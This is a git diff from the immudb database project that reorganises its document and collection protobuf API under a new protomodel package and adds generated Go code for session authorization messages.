index 43d0352446..c32ef3b3a1 100644 --- a/pkg/api/documentschema/documentschema.proto +++ b/pkg/api/proto/documents.proto @@ -16,14 +16,14 @@ limitations under the License. syntax = "proto3"; -package immudb.documentschema; +package immudb.model; import "google/api/annotations.proto"; import "google/protobuf/struct.proto"; import "protoc-gen-swagger/options/annotations.proto"; import "schema.proto"; -option go_package = "github.com/codenotary/immudb/pkg/api/documentschema"; +option go_package = "github.com/codenotary/immudb/pkg/api/protomodel"; option (grpc.gateway.protoc_gen_swagger.options.openapiv2_swagger) = { base_path: "/api/v2", info: { @@ -48,275 +48,279 @@ option (grpc.gateway.protoc_gen_swagger.options.openapiv2_swagger) = { } }; -message DocumentInsertRequest { - string collection = 1; - google.protobuf.Struct document = 2; +message CollectionCreateRequest { + Collection collection = 1; } -message DocumentInsertResponse { - string documentId = 1; - uint64 transactionId = 2; +message CollectionCreateResponse { + Collection collection = 1; } -message DocumentUpdateRequest { - string collection = 1; - repeated DocumentQuery query = 2; - google.protobuf.Struct document = 3; +message Collection { + string name = 1; + string idFieldName = 2; + repeated Field fields = 3; + repeated Index indexes = 4; } -message DocumentUpdateResponse { - uint64 transactionId = 1; - uint64 revision = 2; +message Field { + string name = 1; + FieldType type = 2; } -enum QueryOperator { - EQ = 0; - NE = 1; - LT = 2; - LE = 3; - GT = 4; - GE = 5; - LIKE = 6; +enum FieldType { + STRING = 0; + BOOLEAN = 1; + INTEGER = 2; + DOUBLE = 3; + BLOB = 4; } -message IndexValue { - oneof kind { - google.protobuf.NullValue null_value = 1; - double number_value = 2; - string string_value = 3; - bool bool_value = 4; - } +message Index { + repeated string fields = 1; + bool isUnique = 2; } -message DocumentQuery { - string field = 1; - QueryOperator operator = 2; - google.protobuf.Value value = 3; +message CollectionGetRequest { + string name = 1; } -message DocumentSearchRequest { - string collection = 1; - repeated DocumentQuery query = 2; - uint32 page = 3; - uint32 perPage = 4; - string searchID = 5; +message CollectionGetResponse { + Collection collection = 1; } -message DocumentSearchResponse { - repeated google.protobuf.Struct results = 1; - string searchID = 2; +message CollectionListRequest {} + +message CollectionListResponse { + repeated Collection collections = 1; } -message DocumentProofRequest { - string collection = 1; - string documentId = 2; - uint64 transactionId = 3; - uint64 proofSinceTransactionId = 4; +message CollectionDeleteRequest { + string name = 1; } -message DocumentProofResponse { - string database = 1; - uint32 collectionId = 2; - bytes encodedDocument = 3; - schema.VerifiableTxV2 verifiableTx = 4; +message CollectionDeleteResponse {} + +message CollectionUpdateRequest { + Collection collection = 1; } -message DocumentAuditRequest { +message CollectionUpdateResponse {} + +message DocumentInsertRequest { string collection = 1; + google.protobuf.Struct document = 2; +} + +message DocumentInsertResponse { + uint64 transactionId = 1; string documentId = 2; - uint32 page = 3; - uint32 perPage = 4; } -message DocumentAuditResponse { - repeated DocumentAudit results = 1; +message DocumentInsertManyRequest { + string collection = 1; + repeated google.protobuf.Struct documents = 2; } -message DocumentAudit { +message DocumentInsertManyResponse { uint64 transactionId = 1; - uint64 revision = 2; - google.protobuf.Struct document = 3; + repeated string documentIds = 2; } -message IndexOption { - IndexType type = 1; - bool isUnique = 2; +message DocumentUpdateRequest { + string collection = 1; + Query query = 2; + google.protobuf.Struct document = 3; } -enum IndexType { - DOUBLE = 0; - INTEGER = 1; - STRING = 2; +message DocumentUpdateResponse { + DocumentAtRevision revision = 1; } -message CollectionCreateRequest { - string name = 1; - map indexKeys = 2; +message DocumentSearchRequest { + string searchID = 1; + string collection = 2; + Query query = 3; + bool desc = 4; + uint32 page = 5; + uint32 perPage = 6; } -message CollectionCreateResponse { - CollectionInformation collection = 1; +message Query { + repeated QueryExpression expressions = 1; } -message CollectionInformation { - string name = 1; - map indexKeys = 2; +message QueryExpression { + repeated FieldComparison fieldComparisons = 1; } -message CollectionGetResponse { - CollectionInformation collection = 1; +message FieldComparison { + string field = 1; + ComparisonOperator operator = 2; + google.protobuf.Value value = 3; } -message CollectionGetRequest { - string name = 1; +enum ComparisonOperator { + EQ = 0; + NE = 1; + LT = 2; + LE = 3; + GT = 4; + GE = 5; + LIKE = 6; } -message CollectionListRequest {} - -message CollectionListResponse { - repeated CollectionInformation collections = 1; +message DocumentSearchResponse { + string searchID = 1; + repeated DocumentAtRevision revisions = 2; } -message CollectionDeleteRequest { - string name = 1; +message DocumentAtRevision { + uint64 transactionId = 1; + uint64 revision = 2; + google.protobuf.Struct document = 3; } -message CollectionDeleteResponse {} - -message CollectionUpdateRequest { - string name = 1; - map addIndexes = 2; - repeated string removeIndexes = 3; +message DocumentAuditRequest { + string collection = 1; + string documentId = 2; + bool desc = 3; + uint32 page = 4; + uint32 perPage = 5; } -message CollectionUpdateResponse { - CollectionInformation collection = 1; +message DocumentAuditResponse { + repeated DocumentAtRevision revisions = 1; } -message DocumentInsertManyRequest { +message DocumentProofRequest { string collection = 1; - repeated google.protobuf.Struct documents = 2; + string documentId = 2; + uint64 transactionId = 3; + uint64 proofSinceTransactionId = 4; } -message DocumentInsertManyResponse { - repeated string documentIds = 1; - uint64 transactionId = 2; +message DocumentProofResponse { + string database = 1; + uint32 collectionId = 2; + bytes encodedDocument = 3; + schema.VerifiableTxV2 verifiableTx = 4; } service DocumentService { - rpc DocumentInsert(DocumentInsertRequest) returns (DocumentInsertResponse) { + rpc CollectionCreate(CollectionCreateRequest) returns (CollectionCreateResponse) { option (google.api.http) = { - put: "/documents/insert" + put: "/collections/create" body: "*" }; option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { - tags: "documents"; + tags: "collections"; }; } - rpc DocumentUpdate(DocumentUpdateRequest) returns (DocumentUpdateResponse) { + rpc CollectionGet(CollectionGetRequest) returns (CollectionGetResponse) { option (google.api.http) = { - post: "/documents/update" - body: "*" + get: "/collections/get" }; option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { - tags: [ - "documents" - ]; + tags: "collections"; }; } - rpc DocumentSearch(DocumentSearchRequest) returns (DocumentSearchResponse) { + rpc CollectionList(CollectionListRequest) returns (CollectionListResponse) { option (google.api.http) = { - post: "/documents/search" + post: "/collections/list" body: "*" }; option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { - tags: "documents"; + tags: "collections"; }; } - rpc DocumentAudit(DocumentAuditRequest) returns (DocumentAuditResponse) { + rpc CollectionDelete(CollectionDeleteRequest) returns (CollectionDeleteResponse) { option (google.api.http) = { - post: "/documents/audit" - body: "*" + delete: "/collections/delete" }; option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { - tags: [ - "documents", - "audit" - ]; + tags: "collections"; }; } - rpc DocumentProof(DocumentProofRequest) returns (DocumentProofResponse) { + rpc CollectionUpdate(CollectionUpdateRequest) returns (CollectionUpdateResponse) { option (google.api.http) = { - post: "/documents/proof" + put: "/collections/update" body: "*" }; option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { - tags: [ - "documents", - "audit" - ]; + tags: "collections"; }; } - rpc CollectionCreate(CollectionCreateRequest) returns (CollectionCreateResponse) { + rpc DocumentInsert(DocumentInsertRequest) returns (DocumentInsertResponse) { option (google.api.http) = { - put: "/collections/create" + put: "/documents/insert" body: "*" }; option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { - tags: "collections"; + tags: "documents"; }; } - rpc CollectionGet(CollectionGetRequest) returns (CollectionGetResponse) { + rpc DocumentInsertMany(DocumentInsertManyRequest) returns (DocumentInsertManyResponse) { option (google.api.http) = { - get: "/collections/get" + put: "/documents/insertMany" + body: "*" }; option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { - tags: "collections"; + tags: "documents"; }; } - rpc CollectionList(CollectionListRequest) returns (CollectionListResponse) { + rpc DocumentUpdate(DocumentUpdateRequest) returns (DocumentUpdateResponse) { option (google.api.http) = { - post: "/collections/list" + post: "/documents/update" body: "*" }; option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { - tags: "collections"; + tags: [ + "documents" + ]; }; } - rpc CollectionDelete(CollectionDeleteRequest) returns (CollectionDeleteResponse) { + rpc DocumentSearch(DocumentSearchRequest) returns (DocumentSearchResponse) { option (google.api.http) = { - delete: "/collections/delete" + post: "/documents/search" + body: "*" }; option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { - tags: "collections"; + tags: "documents"; }; } - rpc CollectionUpdate(CollectionUpdateRequest) returns (CollectionUpdateResponse) { + rpc DocumentAudit(DocumentAuditRequest) returns (DocumentAuditResponse) { option (google.api.http) = { - put: "/collections/update" + post: "/documents/audit" body: "*" }; option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { - tags: "collections"; + tags: [ + "documents", + "audit" + ]; }; } - rpc DocumentInsertMany(DocumentInsertManyRequest) returns (DocumentInsertManyResponse) { + rpc DocumentProof(DocumentProofRequest) returns (DocumentProofResponse) { option (google.api.http) = { - put: "/documents/insertMany" + post: "/documents/proof" body: "*" }; option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { - tags: "documents"; + tags: [ + "documents", + "audit" + ]; }; } diff --git a/pkg/api/protomodel/authorization.pb.go b/pkg/api/protomodel/authorization.pb.go new file mode 100644 index 0000000000..f52d459b4b --- /dev/null +++ b/pkg/api/protomodel/authorization.pb.go @@ -0,0 +1,530 @@ +// +//Copyright 2023 Codenotary Inc. All rights reserved. +// +//Licensed under the Apache License, Version 2.0 (the "License"); +//you may not use this file except in compliance with the License. +//You may obtain a copy of the License at +// +//http://www.apache.org/licenses/LICENSE-2.0 +// +//Unless required by applicable law or agreed to in writing, software +//distributed under the License is distributed on an "AS IS" BASIS, +//WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +//See the License for the specific language governing permissions and +//limitations under the License. + +// Code generated by protoc-gen-go. DO NOT EDIT. +// versions: +// protoc-gen-go v1.28.1 +// protoc v3.11.4 +// source: authorization.proto + +package protomodel + +import ( + _ "github.com/grpc-ecosystem/grpc-gateway/protoc-gen-swagger/options" + _ "google.golang.org/genproto/googleapis/api/annotations" + protoreflect "google.golang.org/protobuf/reflect/protoreflect" + protoimpl "google.golang.org/protobuf/runtime/protoimpl" + reflect "reflect" + sync "sync" +) + +const ( + // Verify that this generated code is sufficiently up-to-date. + _ = protoimpl.EnforceVersion(20 - protoimpl.MinVersion) + // Verify that runtime/protoimpl is sufficiently up-to-date. + _ = protoimpl.EnforceVersion(protoimpl.MaxVersion - 20) +) + +type OpenSessionRequest struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Username string `protobuf:"bytes,1,opt,name=username,proto3" json:"username,omitempty"` + Password string `protobuf:"bytes,2,opt,name=password,proto3" json:"password,omitempty"` + Database string `protobuf:"bytes,3,opt,name=database,proto3" json:"database,omitempty"` +} + +func (x *OpenSessionRequest) Reset() { + *x = OpenSessionRequest{} + if protoimpl.UnsafeEnabled { + mi := &file_authorization_proto_msgTypes[0] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *OpenSessionRequest) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*OpenSessionRequest) ProtoMessage() {} + +func (x *OpenSessionRequest) ProtoReflect() protoreflect.Message { + mi := &file_authorization_proto_msgTypes[0] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use OpenSessionRequest.ProtoReflect.Descriptor instead. +func (*OpenSessionRequest) Descriptor() ([]byte, []int) { + return file_authorization_proto_rawDescGZIP(), []int{0} +} + +func (x *OpenSessionRequest) GetUsername() string { + if x != nil { + return x.Username + } + return "" +} + +func (x *OpenSessionRequest) GetPassword() string { + if x != nil { + return x.Password + } + return "" +} + +func (x *OpenSessionRequest) GetDatabase() string { + if x != nil { + return x.Database + } + return "" +} + +type OpenSessionResponse struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + SessionID string `protobuf:"bytes,1,opt,name=sessionID,proto3" json:"sessionID,omitempty"` + ServerUUID string `protobuf:"bytes,2,opt,name=serverUUID,proto3" json:"serverUUID,omitempty"` + ExpirationTimestamp int32 `protobuf:"varint,3,opt,name=expirationTimestamp,proto3" json:"expirationTimestamp,omitempty"` + InactivityTimestamp int32 `protobuf:"varint,4,opt,name=inactivityTimestamp,proto3" json:"inactivityTimestamp,omitempty"` +} + +func (x *OpenSessionResponse) Reset() { + *x = OpenSessionResponse{} + if protoimpl.UnsafeEnabled { + mi := &file_authorization_proto_msgTypes[1] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *OpenSessionResponse) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*OpenSessionResponse) ProtoMessage() {} + +func (x *OpenSessionResponse) ProtoReflect() protoreflect.Message { + mi := &file_authorization_proto_msgTypes[1] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use OpenSessionResponse.ProtoReflect.Descriptor instead. +func (*OpenSessionResponse) Descriptor() ([]byte, []int) { + return file_authorization_proto_rawDescGZIP(), []int{1} +} + +func (x *OpenSessionResponse) GetSessionID() string { + if x != nil { + return x.SessionID + } + return "" +} + +func (x *OpenSessionResponse) GetServerUUID() string { + if x != nil { + return x.ServerUUID + } + return "" +} + +func (x *OpenSessionResponse) GetExpirationTimestamp() int32 { + if x != nil { + return x.ExpirationTimestamp + } + return 0 +} + +func (x *OpenSessionResponse) GetInactivityTimestamp() int32 { + if x != nil { + return x.InactivityTimestamp + } + return 0 +} + +type KeepAliveRequest struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields +} + +func (x *KeepAliveRequest) Reset() { + *x = KeepAliveRequest{} + if protoimpl.UnsafeEnabled { + mi := &file_authorization_proto_msgTypes[2] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *KeepAliveRequest) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*KeepAliveRequest) ProtoMessage() {} + +func (x *KeepAliveRequest) ProtoReflect() protoreflect.Message { + mi := &file_authorization_proto_msgTypes[2] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use KeepAliveRequest.ProtoReflect.Descriptor instead. +func (*KeepAliveRequest) Descriptor() ([]byte, []int) { + return file_authorization_proto_rawDescGZIP(), []int{2} +} + +type KeepAliveResponse struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields +} + +func (x *KeepAliveResponse) Reset() { + *x = KeepAliveResponse{} + if protoimpl.UnsafeEnabled { + mi := &file_authorization_proto_msgTypes[3] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *KeepAliveResponse) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*KeepAliveResponse) ProtoMessage() {} + +func (x *KeepAliveResponse) ProtoReflect() protoreflect.Message { + mi := &file_authorization_proto_msgTypes[3] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use KeepAliveResponse.ProtoReflect.Descriptor instead. +func (*KeepAliveResponse) Descriptor() ([]byte, []int) { + return file_authorization_proto_rawDescGZIP(), []int{3} +} + +type CloseSessionRequest struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields +} + +func (x *CloseSessionRequest) Reset() { + *x = CloseSessionRequest{} + if protoimpl.UnsafeEnabled { + mi := &file_authorization_proto_msgTypes[4] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *CloseSessionRequest) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*CloseSessionRequest) ProtoMessage() {} + +func (x *CloseSessionRequest) ProtoReflect() protoreflect.Message { + mi := &file_authorization_proto_msgTypes[4] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use CloseSessionRequest.ProtoReflect.Descriptor instead. +func (*CloseSessionRequest) Descriptor() ([]byte, []int) { + return file_authorization_proto_rawDescGZIP(), []int{4} +} + +type CloseSessionResponse struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields +} + +func (x *CloseSessionResponse) Reset() { + *x = CloseSessionResponse{} + if protoimpl.UnsafeEnabled { + mi := &file_authorization_proto_msgTypes[5] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *CloseSessionResponse) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*CloseSessionResponse) ProtoMessage() {} + +func (x *CloseSessionResponse) ProtoReflect() protoreflect.Message { + mi := &file_authorization_proto_msgTypes[5] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use CloseSessionResponse.ProtoReflect.Descriptor instead. +func (*CloseSessionResponse) Descriptor() ([]byte, []int) { + return file_authorization_proto_rawDescGZIP(), []int{5} +} + +var File_authorization_proto protoreflect.FileDescriptor + +var file_authorization_proto_rawDesc = []byte{ + 0x0a, 0x13, 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2e, + 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x12, 0x0c, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, + 0x64, 0x65, 0x6c, 0x1a, 0x1c, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2f, 0x61, 0x70, 0x69, 0x2f, + 0x61, 0x6e, 0x6e, 0x6f, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2e, 0x70, 0x72, 0x6f, 0x74, + 0x6f, 0x1a, 0x2c, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x2d, 0x67, 0x65, 0x6e, 0x2d, 0x73, 0x77, + 0x61, 0x67, 0x67, 0x65, 0x72, 0x2f, 0x6f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x61, 0x6e, + 0x6e, 0x6f, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x22, + 0x68, 0x0a, 0x12, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, + 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, + 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x18, 0x02, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x08, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, 0x1a, 0x0a, + 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, 0xb7, 0x01, 0x0a, 0x13, 0x4f, 0x70, + 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, + 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x12, + 0x1e, 0x0a, 0x0a, 0x73, 0x65, 0x72, 0x76, 0x65, 0x72, 0x55, 0x55, 0x49, 0x44, 0x18, 0x02, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x0a, 0x73, 0x65, 0x72, 0x76, 0x65, 0x72, 0x55, 0x55, 0x49, 0x44, 0x12, + 0x30, 0x0a, 0x13, 0x65, 0x78, 0x70, 0x69, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x54, 0x69, 0x6d, + 0x65, 0x73, 0x74, 0x61, 0x6d, 0x70, 0x18, 0x03, 0x20, 0x01, 0x28, 0x05, 0x52, 0x13, 0x65, 0x78, + 0x70, 0x69, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x54, 0x69, 0x6d, 0x65, 0x73, 0x74, 0x61, 0x6d, + 0x70, 0x12, 0x30, 0x0a, 0x13, 0x69, 0x6e, 0x61, 0x63, 0x74, 0x69, 0x76, 0x69, 0x74, 0x79, 0x54, + 0x69, 0x6d, 0x65, 0x73, 0x74, 0x61, 0x6d, 0x70, 0x18, 0x04, 0x20, 0x01, 0x28, 0x05, 0x52, 0x13, + 0x69, 0x6e, 0x61, 0x63, 0x74, 0x69, 0x76, 0x69, 0x74, 0x79, 0x54, 0x69, 0x6d, 0x65, 0x73, 0x74, + 0x61, 0x6d, 0x70, 0x22, 0x12, 0x0a, 0x10, 0x4b, 0x65, 0x65, 0x70, 0x41, 0x6c, 0x69, 0x76, 0x65, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x13, 0x0a, 0x11, 0x4b, 0x65, 0x65, 0x70, 0x41, + 0x6c, 0x69, 0x76, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x15, 0x0a, 0x13, + 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x22, 0x16, 0x0a, 0x14, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, + 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x32, 0xc6, 0x03, 0x0a, 0x14, + 0x41, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x53, 0x65, 0x72, + 0x76, 0x69, 0x63, 0x65, 0x12, 0x8c, 0x01, 0x0a, 0x0b, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, + 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, + 0x64, 0x65, 0x6c, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, + 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x38, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x20, 0x22, 0x1b, 0x2f, 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, + 0x6e, 0x2f, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x2f, 0x6f, 0x70, 0x65, 0x6e, 0x3a, 0x01, + 0x2a, 0x92, 0x41, 0x0f, 0x0a, 0x0d, 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, + 0x69, 0x6f, 0x6e, 0x12, 0x8b, 0x01, 0x0a, 0x09, 0x4b, 0x65, 0x65, 0x70, 0x41, 0x6c, 0x69, 0x76, + 0x65, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, + 0x2e, 0x4b, 0x65, 0x65, 0x70, 0x41, 0x6c, 0x69, 0x76, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x1a, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, + 0x2e, 0x4b, 0x65, 0x65, 0x70, 0x41, 0x6c, 0x69, 0x76, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x22, 0x3d, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x25, 0x22, 0x20, 0x2f, 0x61, 0x75, 0x74, + 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x73, 0x65, 0x73, 0x73, 0x69, + 0x6f, 0x6e, 0x2f, 0x6b, 0x65, 0x65, 0x70, 0x61, 0x6c, 0x69, 0x76, 0x65, 0x3a, 0x01, 0x2a, 0x92, + 0x41, 0x0f, 0x0a, 0x0d, 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, + 0x6e, 0x12, 0x90, 0x01, 0x0a, 0x0c, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, + 0x6f, 0x6e, 0x12, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, + 0x6c, 0x2e, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, + 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, + 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x39, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x21, 0x22, 0x1c, 0x2f, 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, + 0x6e, 0x2f, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x2f, 0x63, 0x6c, 0x6f, 0x73, 0x65, 0x3a, + 0x01, 0x2a, 0x92, 0x41, 0x0f, 0x0a, 0x0d, 0x61, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, + 0x74, 0x69, 0x6f, 0x6e, 0x42, 0x66, 0x5a, 0x2f, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, + 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x70, 0x72, 0x6f, + 0x74, 0x6f, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x92, 0x41, 0x32, 0x12, 0x27, 0x0a, 0x12, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x20, 0x76, 0x32, + 0x12, 0x11, 0x41, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, + 0x41, 0x50, 0x49, 0x22, 0x07, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x62, 0x06, 0x70, 0x72, + 0x6f, 0x74, 0x6f, 0x33, +} + +var ( + file_authorization_proto_rawDescOnce sync.Once + file_authorization_proto_rawDescData = file_authorization_proto_rawDesc +) + +func file_authorization_proto_rawDescGZIP() []byte { + file_authorization_proto_rawDescOnce.Do(func() { + file_authorization_proto_rawDescData = protoimpl.X.CompressGZIP(file_authorization_proto_rawDescData) + 